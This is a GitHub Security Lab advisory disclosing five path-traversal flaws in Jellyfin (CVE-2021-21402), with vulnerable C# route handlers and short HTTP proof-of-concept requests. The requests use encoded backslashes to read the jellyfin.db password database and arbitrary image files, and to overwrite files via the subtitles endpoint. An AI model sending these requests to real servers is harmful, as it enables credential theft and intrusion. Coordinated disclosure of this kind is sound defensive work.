# GHSL-2021-050: Unauthenticated abritrary file read in Jellyfin - CVE-2021-21402
[Jaroslav Lobacevski](https://github.com/jarlob)
## Coordinated Disclosure Timeline
- 2021-03-19: Issue reported to maintainers.
- 2021-03-22: Version 10.7.1 with fixes was released.
## Summary
Jellyfin allows unauthenticated arbitrary file read.
## Product
Jellyfin
## Tested Version
The latest 10.7.0 and older
## Details
### Issue 1: Unauthenticated arbitrary file read in `/Audio/itemId/hls/segmentId/stream.mp3` and `/Audio/itemId/hls/segmentId/stream.aac`
Both the `/Audio/{Id}/hls/{segmentId}/stream.mp3` and `/Audio/{Id}/hls/{segmentId}/stream.aac` routes allow unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{segmentId}` part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). Initially, it may seem like an attacker would only be able to read files ending with `.mp3` and `.aac` [2]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn’t matter as it is not used. The issue is not limited to Jellyfin files as it allows reading any file from the file system.
```
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
// TODO: Deprecate with new iOS app
var file = segmentId + Path.GetExtension(Request.Path); //[2]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}
```
The following request for example would download the `jellyfin.db` database with passwords from the server:
```
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
```
#### Impact
This issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).
### Issue 2: Unauthenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer`
The `/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}` route allows unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{SegmentId}.{SegmentContainer}` part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). The `SegmentId` and file extension from `Path` are concatenated [2]. The resulting `file` is used as the second parameter to `Path.Combine` [3]. However, if the second parameter is an absolute path, the first parameter to `Path.Combine` is ignored and the resulting path is just the absolute path `file`.
A pre-requisite for the attack is that the `jellyfin/transcodes` directory contains at least one `.m3u8` file [4] (i.e. some user started streaming a video or it is left there since the last stream). The `itemId` doesn’t matter as it is not used and `PlaylistId` must be a substring of the `m3u8` file [5]. It can be just `m` as it is always in the `*.m3u8` file name.
```
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
[FromRoute, Required] string itemId,
[FromRoute, Required] string playlistId,
[FromRoute, Required] string segmentId,
[FromRoute, Required] string segmentContainer)
{
var file = segmentId + Path.GetExtension(Request.Path); //[2]
var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();
file = Path.Combine(transcodeFolderPath, file); //[3]
var normalizedPlaylistId = playlistId;
var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
// Add . to start of segment container for future use.
segmentContainer = segmentContainer.Insert(0, ".");
string? playlistPath = null;
foreach (var path in filePaths)
{
var pathExtension = Path.GetExtension(path);
if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
|| string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
&& path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
{
playlistPath = path;
break;
}
}
return playlistPath == null
? NotFound("Hls segment not found.")
: GetFileResult(file, playlistPath);
}
```
PoC:
```
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
```
#### Impact
This issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).
### Issue 3: Authenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/stream.m3u8`
`/Videos/{Id}/hls/{PlaylistId}/stream.m3u8` allows arbitrary file read on Windows. In this case it requires authentication. It may seem like an attacker would only be able to read files ending with `.m3u8`[1]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn’t matter as it is not used.
```
[HttpGet("Videos/{itemId}/hls/{playlistId}/stream.m3u8")]
[Authorize(Policy = Policies.DefaultAuthorization)]
//...
public ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string playlistId)
{
var file = playlistId + Path.GetExtension(Request.Path); //[1]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return GetFileResult(file, file);
}
```
PoC:
```
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1
```
#### Impact
This issue may lead to privilege elevation.
### Issue 4: Unauthenticated arbitrary image file read in `/Images/Ratings/theme/name`, `/Images/MediaInfo/theme/name` and `Images/General/name/type`
The `/Images/Ratings/{theme}/{name}`, `/Images/MediaInfo/{theme}/{name}` and `/Images/General/{name}/{type}` routes allow unauthenticated arbitrary *image* file read on Windows. It is possible to set the `{theme}`[1] or `{name}`[2] part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files [3]: `.png`, `.jpg`, `.jpeg`, `.tbn`, `.gif`.
```
[HttpGet("MediaInfo/{theme}/{name}")]
[AllowAnonymous]
//...
public ActionResult GetMediaInfoImage(
[FromRoute, Required] string theme,
[FromRoute, Required] string name)
{
return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name);
}
//...
private ActionResult GetImageFile(string basePath, string theme, string? name)
{
var themeFolder = Path.Combine(basePath, theme); //[1]
if (Directory.Exists(themeFolder))
{
var path = BaseItem.SupportedImageExtensions.Select(i => Path.Combine(themeFolder, name + i)/*[2]*/) //[3]
.FirstOrDefault(System.IO.File.Exists);
if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path))
{
var contentType = MimeTypes.GetMimeType(path);
return PhysicalFile(path, contentType);
}
}
```
PoCs to download `c:\temp\filename.jpg`:
```
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
```
#### Impact
This issue may lead to unauthorized access to image files especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).
### Issue 5: Authenticated arbitrary file overwrite in `/Videos/itemId/Subtitles` not limited to Windows
`Videos/{itemId}/Subtitles` allows arbitrary file overwrite by an elevated user. Since it requires administrator permissions, it is not clear if this crosses security boundaries.
PoC:
```
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...
{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}
```
#### Impact
This issue may lead to post-authenticated arbitrary remote code execution.
暂无评论